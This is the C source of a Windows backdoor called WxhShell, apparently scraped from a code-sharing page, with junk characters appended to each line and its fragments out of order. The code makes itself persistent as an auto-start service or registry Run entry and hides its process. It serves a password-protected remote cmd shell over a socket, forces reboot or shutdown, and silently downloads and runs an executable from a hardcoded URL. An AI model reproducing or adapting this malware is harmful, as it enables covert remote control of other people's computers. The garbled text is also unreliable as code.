  case 'd': { t9eEcq Mg  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H.)Y*zK0.  
    if(Boot(SHUTDOWN)) ;O~k{5.iS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e2_p7   
    else { 2 r';)8:  
    closesocket(wsh); =n ff;Xu  
    ExitThread(0); ss0`9:z  
    } X#Sgf|$  
    break; 0&$,?CL?  
    } |>zYUT[V  
  // 获取shell 80GBkFjV  
  case 's': { M* 0zvNg  
    CmdShell(wsh); HT%'dZ1  
    closesocket(wsh); uA[c$tBe  
    ExitThread(0); H3 >49;`  
    break; (jp!q ,)  
  } :\F1S:&P  
  // 退出 b!4Z~d0=  
  case 'x': { f2iA5 rCV]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #V$h?`qhwr  
    CloseIt(wsh); "$#<+H>O  
    break; PpLuN12H  
    } &V(;zy4(R  
  // 离开 #ZyY(S1.  
  case 'q': { Zg&o][T  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6Z#$(oC  
    closesocket(wsh); kyH0J[/n  
    WSACleanup(); ( yK@(euG  
    exit(1); t2LX@Q"  
    break; cH:9@>'$a  
        } g#%Egb1  
  } T f40lv+{  
  } 6an= C_Mb`  
"t)$4gERK  
  // 提示信息 (91 YHhk{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U1;&G  
} z7_h$v  
  } \C<'2KZR,  
{|B 2$1':  
  return; S| |OSxZ  
} 0[ZB^  
j8)rz  
// shell模块句柄 xnOd$]  
int CmdShell(SOCKET sock) Oy_%U*  
{ | Di7 ,$c  
STARTUPINFO si; y>>)Yo&|  
ZeroMemory(&si,sizeof(si)); *cP(3n3]R  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Aa+<4 R  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; kx,3[qe'S  
PROCESS_INFORMATION ProcessInfo; %v4*$E!f  
char cmdline[]="cmd"; 5t,X;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); i`}!<{k  
  return 0; WBWIHv{j  
} 8?hZ5QvA(j  
_0|@B8!J?  
// 自身启动模式 4^Og9}bm  
int StartFromService(void) &LYH >  
{ ~e _  
typedef struct z?n6l7sH  
{ "&C>=  
  DWORD ExitStatus; z&Xk~R*$  
  DWORD PebBaseAddress; 0TaN#  
  DWORD AffinityMask; gsY Q"/S9  
  DWORD BasePriority; f^)iv ]p  
  ULONG UniqueProcessId; ?c<uN~fC=  
  ULONG InheritedFromUniqueProcessId; SUDvKP  
}   PROCESS_BASIC_INFORMATION; WP{U9YF2  
9aBz%* xo  
PROCNTQSIP NtQueryInformationProcess; w>e+UW25Y  
NG8 F'=<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q7]bUPDO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; GuC 9h^[=M  
M5:j)o W  
  HANDLE             hProcess; ~ycWc Zi>  
  PROCESS_BASIC_INFORMATION pbi; EXsVZg"#  
'cqY-64CJZ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); SLz;5%CPV  
  if(NULL == hInst ) return 0; o@L2c3?c5  
hkOFPt&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y3':x[d  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); g:s|D hE[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); E/<n"'0ek  
O^n\lik  
  if (!NtQueryInformationProcess) return 0; OX7a72z  
WmOu#5*;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d;nk>6<|  
  if(!hProcess) return 0; RI<&cgWn+<  
R*?!xDJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^Y%<$IFG  
rZ&li/Z  
  CloseHandle(hProcess); WRrg5&._q  
hC4 M}(XM  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `>GXJ~:D["  
if(hProcess==NULL) return 0; ; xL8W  
nErr&{C  
HMODULE hMod; 5me#/NqLHY  
char procName[255]; >sZ_I?YDs  
unsigned long cbNeeded; FX!Qd&kl1  
m@']%X*(,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?<rZ9$  
T$sm}=  
  CloseHandle(hProcess); YU XxQ|  
x*p'm[Tdtm  
if(strstr(procName,"services")) return 1; // 以服务启动 N2 t`  
SmAii}-jf  
  return 0; // 注册表启动 kQp*+ras  
} )NK#}c~5  
:`>tCYy;  
// 主模块 CzI s_/  
int StartWxhshell(LPSTR lpCmdLine) 2%| n}V[  
{ 4+89 M  
  SOCKET wsl; 3 }3C*w+  
BOOL val=TRUE; 8|nc( $}~  
  int port=0; 6E2#VT>@/  
  struct sockaddr_in door; 4aKppj  
F2{SC?U  
  if(wscfg.ws_autoins) Install(); VUOe7c=  
R?y_tho4A  
port=atoi(lpCmdLine); `dWnu3r;  
,4=mlte"  
if(port<=0) port=wscfg.ws_port; $wyPGok  
4,f`C0>"  
  WSADATA data; x=-(p}0o;<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D< kf/hj  
?M^qSo=/~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3.9/mztS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~Kl"V% >  
  door.sin_family = AF_INET; lbGPy'h<rt  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :9e4(7~ona  
  door.sin_port = htons(port); ("YWJJ'H  
1<cx!=w'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ; K,5qs  
closesocket(wsl); |)br-?2  
return 1; aPRMpY-YC3  
} / U!xh3  
I`s~.fZt  
  if(listen(wsl,2) == INVALID_SOCKET) { "3'a.b akw  
closesocket(wsl); J*_^~t  
return 1; S<jiy<|`  
} `sA xk  
  Wxhshell(wsl); 4TyzD%pOw  
  WSACleanup(); {?q`9[Z  
^/cqE[V~,  
return 0; +p&zM3:9w  
\T!,Z;zK  
} %zo 6A1Q;  
t 1~k+  
// 以NT服务方式启动 ,tDLpnB@;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pMY7{z  
{ [XH,~JZJj  
DWORD   status = 0; CpK:u! Dn  
  DWORD   specificError = 0xfffffff; I!}V+gu=  
eCWF0a  
  serviceStatus.dwServiceType     = SERVICE_WIN32; N<<O(r  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; q(csZ\e=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v$+A!eo  
  serviceStatus.dwWin32ExitCode     = 0; J1 w3g,  
  serviceStatus.dwServiceSpecificExitCode = 0; 5s;@;V  
  serviceStatus.dwCheckPoint       = 0; C(UWir3mW?  
  serviceStatus.dwWaitHint       = 0; !Pt4\  
Efoy]6P\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); TU;AO%5  
  if (hServiceStatusHandle==0) return; _yF@k~ h  
@=2u;$.  
status = GetLastError(); Hzc}NyJ  
  if (status!=NO_ERROR) }x& X vI  
{ KS1udH^Zc  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; n2:Uu>/  
    serviceStatus.dwCheckPoint       = 0; HR?bnkv|id  
    serviceStatus.dwWaitHint       = 0; /Dyig  
    serviceStatus.dwWin32ExitCode     = status; \Ui8gDJ8y5  
    serviceStatus.dwServiceSpecificExitCode = specificError; )T?BO  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); OH@gwC  
    return;  deq5u>  
  } 6)W8HX~+  
wkx#WC  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $at\aJ  
  serviceStatus.dwCheckPoint       = 0; CIsX$W  
  serviceStatus.dwWaitHint       = 0; =[[I<[BZq  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k<Xb< U  
} gPA8A>U)[  
\gK'g-)}  
// 处理NT服务事件,比如:启动、停止 xwW(WHdC]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !I\eIV>0b  
{ P : L6Zo-J  
switch(fdwControl) ,7Ejb++/M,  
{ 9UV}`UM3V  
case SERVICE_CONTROL_STOP: E2z=U  
  serviceStatus.dwWin32ExitCode = 0; W$Xr:RU  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; PW iuM=E  
  serviceStatus.dwCheckPoint   = 0; .:4*HB  
  serviceStatus.dwWaitHint     = 0; I+ 3qu=  
  { 6xY6EC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }eI9me@Aa  
  } mKyF<1,m  
  return; wAgV evE  
case SERVICE_CONTROL_PAUSE: tk:nth  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; j^v<rCzc (  
  break; ]Nw ]po+  
case SERVICE_CONTROL_CONTINUE: Z0O0Q=e\Y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; R4'>5.M  
  break; k {vd1,HZ  
case SERVICE_CONTROL_INTERROGATE: Nf2lw]-G4  
  break; 7xY&7 x(v  
}; dd;rne v+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t;0]d7ey'  
} N})vrB;1  
I 9?X  
// 标准应用程序主函数 \zBZ$5 rE  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !KT.p2\  
{ #;lEx'lKN  
T+t7/PwC;  
// 获取操作系统版本 @[`]w`9Q7  
OsIsNt=GetOsVer(); XbeT x  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h,-i\8gq  
#Ye0*`  
  // 从命令行安装 p&0 G  
  if(strpbrk(lpCmdLine,"iI")) Install(); .wTb/x  
;Xqi;EA  
  // 下载执行文件 PR AP~P&^  
if(wscfg.ws_downexe) { [3ggJcUgW>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qF-Fc q  
  WinExec(wscfg.ws_filenam,SW_HIDE); *-.`Q  
} ]/3!t=La  
s jaaZx1  
if(!OsIsNt) { WX`wz>KK^  
// 如果时win9x,隐藏进程并且设置为注册表启动 %&lwp  
HideProc(); QNv5CQ&  
StartWxhshell(lpCmdLine); PI9aKNt  
} wr(*RI"  
else O<mA+yk  
  if(StartFromService()) C OL"/3r  
  // 以服务方式启动 Fi7~JZZ  
  StartServiceCtrlDispatcher(DispatchTable); R<hsG%BS(D  
else X+ybgB4(  
  // 普通方式启动 cG3tn&AXi  
  StartWxhshell(lpCmdLine); V?>&9D"m  
k8SY=HP  
return 0; tu@-+< *  
} N6T  
!}c\u  
a*_&[  
O-pH~E  
=========================================== |5q,%9_  
D vN0h(?  
EFu$>Z4  
k Q_Vj7  
9x(t"VPuS  
&|Rww\oJ  
" 7fd,I%v  
9"L!A,&'  
#include <stdio.h> { i4`- w  
#include <string.h> ,6f6r  
#include <windows.h> Se\iM s  
#include <winsock2.h> Q&@<?K9  
#include <winsvc.h> -]YsiE?r  
#include <urlmon.h> Nr"GxezU+A  
0C"2?etMx  
#pragma comment (lib, "Ws2_32.lib") 7|[Dr@.S  
#pragma comment (lib, "urlmon.lib") C\;%IGn  
}N,v&  B  
#define MAX_USER   100 // 最大客户端连接数 =i2]qj\  
#define BUF_SOCK   200 // sock buffer ' %rn-|)  
#define KEY_BUFF   255 // 输入 buffer _W,?_"[R=  
rJtk4hOF  
#define REBOOT     0   // 重启 P.=Dd"La  
#define SHUTDOWN   1   // 关机 4{ZVw/VP,-  
yFDt%&*n^  
#define DEF_PORT   5000 // 监听端口 naeppBo  
X 3XTB*  
#define REG_LEN     16   // 注册表键长度 yM(ezb  
#define SVC_LEN     80   // NT服务名长度 M0)ZJti  
Fa </  
// 从dll定义API OU^I/TU  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); O`PQ4Q*F  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #"H<k(-Cz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %RzkP}1>E  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Lm0q/d2|\X  
`d x.<R#,  
// wxhshell配置信息 qjf4G[]!  
struct WSCFG { c"Q9ob  
  int ws_port;         // 监听端口 V4W(> g  
  char ws_passstr[REG_LEN]; // 口令 WS1Y maV  
  int ws_autoins;       // 安装标记, 1=yes 0=no V.yDZ"  
  char ws_regname[REG_LEN]; // 注册表键名 nn">   
  char ws_svcname[REG_LEN]; // 服务名 qA25P<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 - s{&_]A~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |y?W#xb  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1p SEr6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no l~@ -oE  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \!0~$?_)P  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3cNr~`7  
o_ixdnc  
}; +4 D#Ht 7  
\TYH7wXDP  
// default Wxhshell configuration 9/R=_y-  
struct WSCFG wscfg={DEF_PORT, ,ob)6P^rw  
    "xuhuanlingzhe", Q%V530 P;  
    1, m8gU8a"(  
    "Wxhshell", O"RIY3m  
    "Wxhshell", ]*{tno  
            "WxhShell Service", 'X_%m~}N  
    "Wrsky Windows CmdShell Service", \@^` G  
    "Please Input Your Password: ", ^~bAixH^k  
  1, <){J|O  
  "http://www.wrsky.com/wxhshell.exe", 92*"3)  
  "Wxhshell.exe" "9y 0]~  
    }; "M %WV>  
! ;Ctz'wz  
// 消息定义模块 F)S?>P&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; T\7t#Z k  
char *msg_ws_prompt="\n\r? for help\n\r#>"; K2tOt7M!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |4` ;G(ta  
char *msg_ws_ext="\n\rExit."; =feVT2*  
char *msg_ws_end="\n\rQuit."; 'm/`= QX  
char *msg_ws_boot="\n\rReboot..."; RNcnE1=  
char *msg_ws_poff="\n\rShutdown..."; f4|ir3oy  
char *msg_ws_down="\n\rSave to "; }|c-i.0=  
HLq2a vs\  
char *msg_ws_err="\n\rErr!"; F/df!I~  
char *msg_ws_ok="\n\rOK!"; P4s,N|bs`  
%6:"tuA  
char ExeFile[MAX_PATH]; 8ROZ]Xh,x  
int nUser = 0; th{Ib@o  
HANDLE handles[MAX_USER]; r#6djs1  
int OsIsNt; 4X>=UO``L  
LcHe5Bv%  
SERVICE_STATUS       serviceStatus; -8t&&fIA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; SMA' VU  
wPJA+  
// 函数声明 1f2*S$[*L  
int Install(void); gy5R"_MU  
int Uninstall(void); &Z7NF|  
int DownloadFile(char *sURL, SOCKET wsh); !Bhs8eGr3  
int Boot(int flag); bp P3#~ K  
void HideProc(void); -{$L`{|G  
int GetOsVer(void); ,mt=)Ac  
int Wxhshell(SOCKET wsl); "Y=4Y;5q  
void TalkWithClient(void *cs); 3rx 8"  
int CmdShell(SOCKET sock);  ;W@  
int StartFromService(void); !q^2| %  
int StartWxhshell(LPSTR lpCmdLine); A$::|2~  
h$$i@IO0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); N6!9QIu~i  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); PD:lI]:s  
m=^ihQ  
// 数据结构和表定义 Q\2~^w1V  
SERVICE_TABLE_ENTRY DispatchTable[] = OkQtM nq  
{ 8fb<hq<  
{wscfg.ws_svcname, NTServiceMain}, a0&R! E;  
{NULL, NULL} b5^-q c6X  
}; ;k,#o!>  
IvB)d}p  
// 自我安装 5VE9DTE  
int Install(void) A_|X54}w&  
{ Twk,R. O  
  char svExeFile[MAX_PATH]; \U HI%1^  
  HKEY key; l3YS_WBSn  
  strcpy(svExeFile,ExeFile); [4\n(/  
GbBz;ZV%z,  
// 如果是win9x系统,修改注册表设为自启动 2P?|'U  
if(!OsIsNt) { Q::_i"?c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _Xfn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h09fU5l  
  RegCloseKey(key); S&Sa~Oq<o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KhNO xMZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JcW<<7R  
  RegCloseKey(key); cdD?QnZ  
  return 0; 2zbV9Bhq  
    } s-T#-raE  
  } W7q!F  
} ""_%u'7t5I  
else { %OT?2-d  
:qK^71gz  
// 如果是NT以上系统,安装为系统服务 zdN(r<m9"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V7,;N@FL  
if (schSCManager!=0) Uk0 0lPG.U  
{ ,V ) |A=ml  
  SC_HANDLE schService = CreateService N7dI}ju  
  ( kaNK@a=e|/  
  schSCManager, OF1Qr bj  
  wscfg.ws_svcname, `:fh$V5J>  
  wscfg.ws_svcdisp, QlH,-]N$L  
  SERVICE_ALL_ACCESS, <U2Un 0T  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3t:/Guyom8  
  SERVICE_AUTO_START, &h;J_Ps  
  SERVICE_ERROR_NORMAL, b("M8}o  
  svExeFile, 7\EY&KI"0  
  NULL, b%UbTb,  
  NULL, 2NZC,znQ  
  NULL, #CNK [y  
  NULL, NFBhnNH+  
  NULL 8'0I$Qa4  
  ); Ab:+AC5{  
  if (schService!=0) UO_tJN#X  
  { 5>S)+p  
  CloseServiceHandle(schService); L~&r.81  
  CloseServiceHandle(schSCManager); h0zv @,u  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &&`-A6`p  
  strcat(svExeFile,wscfg.ws_svcname); unAu8k^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0GMov]W?i  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vQ1#Zg y  
  RegCloseKey(key); :lp V  
  return 0; V})b.\"F  
    } `fq#W#Pu  
  } '\/|K  
  CloseServiceHandle(schSCManager); YG#.L}X@C  
} 'zfj`aqc  
} VK^m]??s_  
?m:,hI  
return 1; 75*q^ui  
} # 4;(^`?  
i'uSu8$'*  
// 自我卸载 vALH!Kh  
int Uninstall(void) L31#v$;4  
{ ]5:0.$5  
  HKEY key; 8\$ u/(DX  
oO&R3zA1d  
if(!OsIsNt) { *QP+p,L*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jLF,R7t  
  RegDeleteValue(key,wscfg.ws_regname); mD go@ f  
  RegCloseKey(key); wdQ%L4l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E}8wnrxf  
  RegDeleteValue(key,wscfg.ws_regname); {9<c*0l  
  RegCloseKey(key); +L|-W9"@3  
  return 0; \jHIjFwQ  
  } w ;xbQZ|+  
} m53~Ysq<  
} RKO}  W#?  
else { _REAzxe S  
q?bKh*48  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); tIL ]JB  
if (schSCManager!=0) th`pf   
{ }BJR/r  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .[C@p`DZ  
  if (schService!=0) ,]_<8@R  
  { p\ _&  
  if(DeleteService(schService)!=0) { T!Z).PA#  
  CloseServiceHandle(schService); Q> J9M` a  
  CloseServiceHandle(schSCManager); #Mrc!pT]xy  
  return 0; 9UE)4*5  
  } 7~m[:Eg6[s  
  CloseServiceHandle(schService); v)%0`%nSR  
  } tDn:B$*}W,  
  CloseServiceHandle(schSCManager); R 9b0D>Lxt  
} u E<1PgW  
} ,<!v!~Iy  
Vl%UT@D|  
return 1; r Zg(%6@  
} V[ 'lB.&t  
eizni\  
// 从指定url下载文件 n+SHkrW  
int DownloadFile(char *sURL, SOCKET wsh)  -wQ@z6R  
{ nIf~ds&TT  
  HRESULT hr; U~q2j#pJ  
char seps[]= "/"; /uJ(&#87  
char *token; -X_dY>>s  
char *file; 9|qzFmE#  
char myURL[MAX_PATH]; rIQ%X`Y  
char myFILE[MAX_PATH]; AY_GD ^  
D&!c7_^  
strcpy(myURL,sURL); hK 1 H'~c  
  token=strtok(myURL,seps); ';KWHk8C  
  while(token!=NULL) 84A:Rd'k3)  
  { 't3&,:Y  
    file=token; I T?~`vi  
  token=strtok(NULL,seps); );=0cnr3  
  } s |!lw  
lAJ P X  
GetCurrentDirectory(MAX_PATH,myFILE); jAak,[~;  
strcat(myFILE, "\\"); a9g~(#?a  
strcat(myFILE, file); *1g3,NMA  
  send(wsh,myFILE,strlen(myFILE),0); xzz0uk5  
send(wsh,"...",3,0); XS=f>e1<W  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); W}'l8z]   
  if(hr==S_OK) Mew,g:m:  
return 0; %Z+FX,AK  
else 3#N`n |UgC  
return 1; ob]j1gYb  
UM:]Qba In  
} tX~ *.W:  
*NCkC ~4  
// 系统电源模块 ?ZP@H _w6}  
int Boot(int flag) tui5?\  
{ Hd57Iw  
  HANDLE hToken; qijQRxS  
  TOKEN_PRIVILEGES tkp; ,Rdw]O  
!24PJ\~I  
  if(OsIsNt) { /Csk"IfuO  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Nj=0bg"Qg5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); z^u*e  
    tkp.PrivilegeCount = 1; /B)`pF.n  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; YT}ZLx  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ToM1#]4  
if(flag==REBOOT) { V@r V +s  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) BKKW3PT  
  return 0; <kKuis6h  
} pMd!Jl#(N  
else { & X#6jTh+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) r7-H`%.  
  return 0; }h1y^fuGi  
} -8:/My  
  } Q!70D)O$  
  else { W#kd[Wi  
if(flag==REBOOT) { @]7s`?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) $g_|U:,  
  return 0; .S*VYt%K7  
} <FfmDR  
else { 0( q:K6zI}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <b-OdOg  
  return 0; |cgc^S/~H  
} {$Z S 2 7  
} Tly*i"[&  
DO6 pv  
return 1; 17#t7Yk  
} V I]~uTV  
V-dyeb  
// win9x进程隐藏模块 9D]bCi\  
void HideProc(void) S4VM(~,o  
{ l'7' G$v  
uc aa;zj  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); TeKU/&fkc  
  if ( hKernel != NULL ) p %hvDC  
  { 9Y+7o%6e  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); '0v]?mM  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); iLQ;`/j  
    FreeLibrary(hKernel); ;$3e pP  
  } XbIxGL  
`6<Qb=  
return; <Vl`EfA(  
} -J>f,zA  
p ^ ONJL  
// 获取操作系统版本 o_a'<7\#i  
int GetOsVer(void) |k#EYf#Y  
{ pgPm0+N  
  OSVERSIONINFO winfo; S 9|^VU  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Mavid kS  
  GetVersionEx(&winfo); \%_sL#?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) b%7zu}F  
  return 1; N?IdaVLj  
  else }Z)YK}_1  
  return 0; Q w)U  
} w5=<}1`St  
Zn:]?%afdO  
// 客户端句柄模块 kQ"Ax? b  
int Wxhshell(SOCKET wsl) oiOu169]  
{ iUq_vQ@} }  
  SOCKET wsh; (_AU)  
  struct sockaddr_in client; z9w]{Zd_,d  
  DWORD myID; NIHcX6Nw  
U/ax`_  
  while(nUser<MAX_USER) pnUL+UYeM  
{ sl`?9-_[  
  int nSize=sizeof(client); ~( :$c3\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,/Q`gRBh"  
  if(wsh==INVALID_SOCKET) return 1; 2 SU  
Bf;<3k)5.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); A@Cvx7X  
if(handles[nUser]==0) 8X/SNRk6p  
  closesocket(wsh); 6=96^o*  
else JFq<sY!  
  nUser++; XB a^ A  
  } *ZIX76y<!A  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xeKm} MN]S  
\d3~kq3  
  return 0; )5fly%-r)  
} 3xgU=@!;  
WR_B:%W.  
// 关闭 socket 4#W*f3d[@:  
void CloseIt(SOCKET wsh) L s+zJ1  
{ yq!peFu  
closesocket(wsh); *VaQ\]:d  
nUser--; +_jM$?:F}  
ExitThread(0); 3Xy~ap>Y  
} bI8')a  
#mD_<@@  
// 客户端请求句柄 ?rziKT5OOC  
void TalkWithClient(void *cs) }{mS"  
{ t"OP*  
$ago  
  SOCKET wsh=(SOCKET)cs; fKO@Qx]  
  char pwd[SVC_LEN]; KN&|&51p}  
  char cmd[KEY_BUFF]; goNDS5}  
char chr[1]; bK{ VjXF  
int i,j; &'Xgf!x  
Kd\d>&b  
  while (nUser < MAX_USER) { X9?0`6Li  
HY;kV6g{P  
if(wscfg.ws_passstr) { /J9Or{#r  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0IZF%`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X{:3UTBR  
  //ZeroMemory(pwd,KEY_BUFF); ,; Uf>8~  
      i=0;  Hs6Kki1  
  while(i<SVC_LEN) { A@-U#UvN  
dj}|EW4  
  // 设置超时 UzW]kY[A<  
  fd_set FdRead; Df$~=A}  
  struct timeval TimeOut; s[VYd:}se  
  FD_ZERO(&FdRead); c4zGQoeH:  
  FD_SET(wsh,&FdRead); olKM0K  
  TimeOut.tv_sec=8; *;Cpz[N  
  TimeOut.tv_usec=0; 3J8M0W   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /. H(&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); OzR<jCOS  
}PM7CZSq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5W=Jn?y2  
  pwd=chr[0]; m -0EcA/  
  if(chr[0]==0xd || chr[0]==0xa) { #99=wn  
  pwd=0; rC_saHo>#R  
  break; U }I#;*F  
  } ca5;Z@t$S  
  i++; `i+2YCk  
    } )`6OSB  
[.6bxK  
  // 如果是非法用户,关闭 socket B ]sVlbt  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M.bkFuh  
} ?}= $zN  
~ _IQ:]k  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); riRG9c |  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7r2p+LP[  
#w8.aNU+]  
while(1) { 5 0a';!H  
=(~ZmB\  
  ZeroMemory(cmd,KEY_BUFF); /82E[P"}6R  
~Q5]?ZNX  
      // 自动支持客户端 telnet标准   [)il_3t  
  j=0; {s8g;yU5  
  while(j<KEY_BUFF) { s#8T46?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9<kMxtk$  
  cmd[j]=chr[0]; F`,Hf Cb\  
  if(chr[0]==0xa || chr[0]==0xd) { Nq|y\3]  
  cmd[j]=0; SR_ -wD  
  break; Tt=;of{  
  } %a:T9v  
  j++; @VyNe(U  
    } l}k'ZX4  
Z,"YMUl'  
  // 下载文件 F? ps? e  
  if(strstr(cmd,"http://")) { j`K0D65  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,?`kYPZ  
  if(DownloadFile(cmd,wsh)) ly6 dl  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [Dmf.PUe  
  else fwh/#V-i  
